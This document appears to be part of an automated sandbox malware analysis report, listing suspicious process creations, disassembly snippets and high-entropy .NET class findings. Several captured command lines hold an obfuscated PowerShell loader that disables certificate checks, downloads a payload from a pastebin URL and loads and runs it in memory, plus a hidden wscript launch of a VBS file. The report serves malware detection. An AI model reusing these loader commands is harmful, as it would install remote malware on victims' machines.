Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;$global:?

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\Desktop\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$amshe = '03';$vverr = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $hzfbs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($hzfbs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('b7SJb7Dc/war/moc.nibetsap//:sptth' , $vverr , '___win________________________________________-------', $amshe, '1', 'Roda' ));"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E700BD pushad ; iretd	2_2_00007FF848E700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E700BD pushad ; iretd	5_2_00007FF848E700C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595E410 pushfd ; iretd	7_2_0595E411
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595D7E3 pushad ; ret	7_2_0595D7E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0595E373 push esp; iretd	7_2_0595E379
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FF848E80028 push eax; ret	12_2_00007FF848E80029
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF848E85E9D push eax; retf	14_2_00007FF848E85F71

Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, XYfrwW5V593UMwIH2.cs	High entropy of concatenated method names: 'ItHc8NJ5k7ZtzJKAZ', 'Eb3vd67ceIchdOkiX', '_3D7Gn9Kw6yfIxqRJO', '_5PXS3q04AZHSMmy6OFu2FfkiseYHLTZaigLhKzo1MISQheUH7CKFshjb1Cle4Ob97dVQRqRl2zqUmzSPZIGc', 'YCJAqWvH64WVSp9bvnHWYpBmNlhqhjnJpzM3Ftk7UqkLNKMkoECQYNM5JSwJSh6HukHqUuEuIzNEPZa1RKzN', 'QOeu5YGf32YHKzOhIM7IjkTSIve1IOEUx7vKMBlOMlJ922GH0sxU64s0v2oqxWevKaF2pUM8HDddFZoLwgQb', 'uCwuP8WRzNLTedkvO99lo42mJKnDD458EQrzDhcOa0miJM9w4uZah6dgk1s02LQ2edt5aEUcKpDizzZrHJcb', 'EXTWBLsDIXcBtJSyg851l7mYfaoZr50H491p1hCPqEy0Hw8vAz9MCfib9tnU7QI6oP8c5pxIr2TSzW3OE46s', 'ry76lfycDTEEJ7vgzezcZosD6iKpXYC8kmCYR1tqtymNiXIBkUcAcdEvthBeOCY0uOPM32WKJLxlTdEntMGe', 'ZdAa0PDognTctZ8IYw8qxy32aDx5SN7EpMPlfExp3mJxT9KjdqixnJg0NyvccsWDcvV3M01sonz21Wvfbggm'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.cs	High entropy of concatenated method names: 'J8i9LR7WPfUm6lW25HtbTXzahDWe8rK3sa7vLQ2sKx0fbQ564', '_8tVhzDzSvnMENa6xZNBF8DTzRwfmWBnGtf4sZelYENLEh5hGD', 'nDSUS8CZiikAT0XcFHNbtJ36kUrMYs0HQ9hW4jLocFKFFxfxS', 'qnE5uWusqQvQ7TwQuk2yvfLox4IBSWyIEdNEtzOq4fGfzjOZ9'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, EcmUVfa1L5XqkaIH6HbHkBiwj0eT9cf.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'UMCPdJLg9iSRyhqP5FvuxVkzjCVrRuyyeTIDEqd4FJjUwsod0', 'SzrlcrGfy2u2qC7Iqs28vw5W46QgvrmeOwbwZztYWZvBbRvY7', 'EZPZj8foG2zP034kJM2GoBglg1xdz0Pq8u5yuHkqBX4wdflVh', 'kAPcN0kjRmrGe6pWclWkSwmbxPQiNj5tyZ7bLTzNcyYkWgC6D'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, gNcBSL9UPrQHBDmUF.cs	High entropy of concatenated method names: '_9B22Czp8skaw03xiR', 'hxSg8DMICskDTdoCS', 'MoemDsyMcPqZkQmFl', 'o0vipdyf1OR0ObXGC', 'UNgWlPJWKMnqjzLcC', 'oxN7UbaO4yjGdpcJ8', 'bXlppUX8DSBKrkOdu', 'dxUoO4xhcUzx8oO5J', '_8XfpFbokqCYleOWEk', 'NW8vqva4N9hXuPWGQ'
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, uZaXYBDZ6KheGbUfWnzSAabcEeeKPaY.cs	High entropy of concatenated method names: 'br5eXuRVodgprDprWkCH3hlNi0uAyjq', 'huGMrIY793DeOvfpUaR7E0efSazDjry', 'RdsVqV7T3SuKZEp0FRpelYIHFByhBb1', '_51hXy89Hpv2exsGmU8getVVsb6IpCQP', 'pHQarxZg3Y7dOzlBoBfai8Q9GFjrfT5PP4htnu9UgYzBAi3pQ', 'imMUI5fEHwIG5o6gCoRWHNMco0qKWmqbDJhm3pQMQOnqk8L8u', 'zbd7zSMSH9TA8ISQUMqBkYhQC3jzXAQmMSyJMHp5ossUoDW7s', '_4dhtSd1ohqWIJpgU39W8XwMoqyBHktflfxVBR5ojWOWpBGv3D', 'IfH9jiTSaG8rVzVGVL8V2H6HtyEd0NEym60n0lZjzvct0N3RD', 'XRQJ25mbptn811DUe7igV0KPzx2FDoOzCjmNLBOHQ13uVkctP'
